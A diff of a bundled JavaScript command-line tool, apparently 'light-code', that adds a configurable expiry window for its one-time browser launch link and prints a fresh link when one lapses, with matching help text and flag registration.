  const dataDir = valueOf(args, "--data-dir") ?? envPaths("light-code", { suffix: "" }).data;
65005
66523
  const port = Number.parseInt(valueOf(args, "--port") ?? "0", 10);
66524
+ const handoffSeconds = Math.min(
66525
+ 600,
66526
+ Math.max(1, Number.parseInt(valueOf(args, "--handoff-seconds") ?? "10", 10) || 10)
66527
+ );
65006
66528
  const bindAddress = valueOf(args, "--bind");
65007
66529
  const noOpen = args.includes("--no-open") || serverMode;
65008
66530
  let identity;
@@ -65024,18 +66546,41 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
65024
66546
  ...userHeader !== void 0 ? { userHeader } : {}
65025
66547
  });
65026
66548
  }
65027
- const sharedConfig = new SharedConfigStore(path32.join(dataDir, "shared.json"));
66549
+ const sharedConfig = new SharedConfigStore(path33.join(dataDir, "shared.json"));
65028
66550
  const shared = await sharedConfig.load();
65029
66551
  const effectiveAdminIds = [.../* @__PURE__ */ new Set([...shared.adminIds, ...adminIds])];
65030
66552
  if (adminIds.length > 0 && effectiveAdminIds.length !== shared.adminIds.length) {
65031
66553
  await sharedConfig.save({ adminIds: effectiveAdminIds });
65032
66554
  }
65033
- const here = path32.dirname(fileURLToPath(import.meta.url));
66555
+ const here = path33.dirname(fileURLToPath(import.meta.url));
65034
66556
  const server = await startServer({
65035
66557
  workspaceRoot,
65036
66558
  dataDir,
65037
- clientDir: path32.join(here, "client"),
66559
+ clientDir: path33.join(here, "client"),
65038
66560
  ripgrepPath: resolveRipgrep(),
66561
+ handoffSeconds,
66562
+ /*
66563
+ * A lapsed link is replaced rather than ending the session.
66564
+ *
66565
+ * Before this the only way back from pasting a URL a few seconds late was to stop the server
66566
+ * and start it again, losing the conversation and anything running with it. The fresh link is
66567
+ * printed to this terminal, which is where the first one was printed, so it reaches nobody it
66568
+ * had not already reached.
66569
+ *
66570
+ * Printed with a sentence, because a URL appearing on its own reads as the server having
66571
+ * restarted itself.
66572
+ */
66573
+ onHandoffLapsed: (reason) => {
66574
+ const fresh = server.newLaunchUrl?.();
66575
+ if (fresh === void 0) return;
66576
+ process.stdout.write(
66577
+ `
66578
+ That link ${reason === "expired" ? "expired" : "had already been used"}. Here is a fresh one, good for ${String(handoffSeconds)} seconds:
66579
+ ${fresh}
66580
+
66581
+ `
66582
+ );
66583
+ },
65039
66584
  port: Number.isNaN(port) ? 0 : port,
65040
66585
  ...serverMode ? { roles: adminListPolicy(effectiveAdminIds), sharedConfig } : {},
65041
66586
  ...identity !== void 0 ? { identity } : {},
@@ -65080,10 +66625,10 @@ Both go through your proxy. Anyone reaching /admin directly is an administrator.
65080
66625
  } else {
65081
66626
  process.stdout.write(
65082
66627
  `Opening ${server.url}
65083
- (If the browser does not open, paste this within 10 seconds:)
66628
+ (If the browser does not open, paste this within ${String(handoffSeconds)} seconds:)
65084
66629
  ${launchUrl}
65085
66630
 
65086
- `
66631
+ ` + (handoffSeconds === 10 ? " Not long enough? Start with --handoff-seconds 120.\n If it does lapse, a fresh link is printed here \u2014 no need to restart.\n\n" : " If it does lapse, a fresh link is printed here \u2014 no need to restart.\n\n")
65087
66632
  );
65088
66633
  }
65089
66634
  if (!noOpen) openBrowser(launchUrl);
@@ -65097,6 +66642,7 @@ ${launchUrl}
65097
66642
  var KNOWN_FLAGS = /* @__PURE__ */ new Set([
65098
66643
  "--help",
65099
66644
  "-h",
66645
+ "--handoff-seconds",
65100
66646
  "--workspace",
65101
66647
  "--port",
65102
66648
  "--data-dir",
@@ -65134,7 +66680,7 @@ function openBrowser(url2) {
65134
66680
  const command = process.platform === "win32" ? "cmd" : process.platform === "darwin" ? "open" : "xdg-open";
65135
66681
  const args = process.platform === "win32" ? ["/c", "start", "", url2] : [url2];
65136
66682
  try {
65137
- spawn6(command, args, { detached: true, stdio: "ignore" }).unref();
66683
+ spawn7(command, args, { detached: true, stdio: "ignore" }).unref();
65138
66684
  } catch {
65139
66685
  }
65140
66686
  }
@@ -65147,6 +66693,10 @@ Usage: light-code [options]
65147
66693
  --port <n> Port to bind (default: an unused one)
65148
66694
  --data-dir <dir> Where config, secrets and task history live
65149
66695
  --no-open Print the URL instead of launching a browser
66696
+ --handoff-seconds <n> How long the launch link stays valid (default 10, max 600).
66697
+ Raise it when carrying the URL by hand. It rides in the URL
66698
+ fragment, so a longer window is longer for anyone reading
66699
+ your scrollback to use it first.
65150
66700
  --server Shared mode: configuration is read-only for everyone
65151
66701
  except the administrators named below
65152
66702
  --admin Open the administrator's interface (/admin) instead